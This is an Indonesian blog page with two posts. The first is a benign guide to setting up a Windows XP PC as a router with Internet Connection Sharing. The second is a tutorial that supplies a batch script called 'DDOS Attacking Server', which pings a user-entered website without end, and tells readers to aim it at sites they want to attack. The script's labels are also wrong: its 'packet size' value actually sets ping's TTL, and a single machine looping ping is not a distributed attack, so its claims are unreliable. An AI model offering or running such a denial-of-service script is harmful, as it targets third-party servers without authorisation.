Ternyata belajar network itu sangat lah mengasyikkan, yg penting kita ada kemauan pasti ada jalan....

semoga bermanfaat !!!

Buat Router di XP

Router di xp..??? apakah bisa, jawabnya sangat bisa, jika kita selama ini akrab dengan router di linux, di Xp kita juga bisa buat router, caranya mudah,langsung saja....

>>>
Kebutuhan hardware :

- 1 buah PC dengan memory minimal 512 mb ( Recomended )
- 2 buah LAN Card

Istilah dalam konfigurasi :
- LAN in ; konfigurasi untuk seting jaringan (LAN) internal yang digunakan
- LAN out ; konfigurasi untuk seting IP dari ISP (Modem) ke jaringan internal
- ICS (Internet Connection Sharing) ; fasilitas pada windows XP untuk berbagai - pakai koneksi internet pada jaringan.

Langkah-langkah konfigurasi :
- siapkan 1 buah PC yang akan dijadikan router
- pastikan 2 buah LAN Card telah terpasang dan terdeteksi oleh Windows XP
- untuk LAN Card pertama ganti namanya menjadi LAN in dan yang kedua ganti menjadi LAN out (untuk memudahkan seting IP)>>>silakan di sesuaikan sendiri
- seting IP pada LAN out dengan IP yang telah diberikan oleh ISP (isi IP, Subnet Mask, Gateway, 1st DNS, 2nd DNS)
contoh seting LAN out:


IP : 192.168.1.2
Subnet Mask : 255.255.255.0
Gateway : 192.168.1.1
1st DNS : xxx.xxx.xxx.xxx
2nd DNS : xxx.xxx.xxx.xxx


- aktifkan Internet Connection Sharing (install jika belum ada), dan centang pilihan pada Internet Connection Sharing (lihat bagian PropertiesAdvances pada seting LAN card)
- untuk seting IP LAN in, atur IP agar tidak sama dengan IP lainnya pada jaringan internal, samakan Subnet Mask, kosongkan Gateway, dan samakan DNS.
contoh seting LAN in:


IP : 10.10.1.1
Subnet Mask : 255.0.0.0
Gateway : kosongkan
1st DNS : xxx.xxx.xxx.xxx
2nd DNS : xxx.xxx.xxx.xxx


- LAN in tidak perlu dishare (ICS disable)
- Sekarang untuk workstation, seting IP (bedakan untuk masing-masing IP), Subnet Mask, isikan Gateway dengan IP LAN in, seting DNS
contoh seting Workstation1 :


IP : 10.10.1.2
Subnet Mask : 255.0.0.0
Gateway : 10.10.1.1
1st DNS : xxx.xxx.xxx.xxx
2nd DNS : xxx.xxx.xxx.xxx

Cukup sekian langkahnya, mudah bukan?
silakan dicoba....
Read More ->>

Wednesday, 12 November 2014

cara membuat tool hacker sederhana dg notepad



Rabu,12 nopember 2014
Cara Membuat Tools Hacker Sederhana
Kali Ini Saya Akan Ajarkan Cara Membuat Tools Hacker Sendiri
Dengan Sederhana.
OK, Tanpa Basa Basi Lagi, Siap kan Alat-Alat Nya .
1. Notepad .
2. Script DDos .


1.     Buka Notepad.
2.     Copy & Paste Kan Script Di Bawah Ini :



@echo off
mode 67,16
title DDOS Attacking Server
color 0c
cls
echo ==================================
echo =          Hacking Tools         =
echo ==================================
echo.
echo ++++++++++++++++++++++++++++++++++
echo + Name : DDOS Attacking Server   +
echo + Author : Aldy Legowo             +
echo + Visite : aldyareklegowo.blogspot.com +
echo ++++++++++++++++++++++++++++++++++
echo.
goto Next
echo.
echo DDOS With Batchfile
echo.
set /p x=Server-Target:
echo.
ping %x%
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
goto Next
:Next
echo.
echo **********************************
echo *    Masukan IP / Host Target    *
echo **********************************
echo.
set /p m=ip Host:
echo.
set /p n=Packet Size:
echo.
:DDOS
color 0b
echo Attacking Server %m%
ping %m% -i %n% -t >nul
goto DDOS

     3.  
 Simpan Dengan Type "All Files" Dan Beri Nama Sesuka Anda Dengan Format .bat ( Contoh : Ddos.bat )



Cara Pakai :
Pada menu Server-Target -> *    Masukan IP / Host Target    *
masukan alamat web yang ingin di DDOS.

Read More ->>
Powered by Blogger.

Pages - Menu

Categories

Web Hosting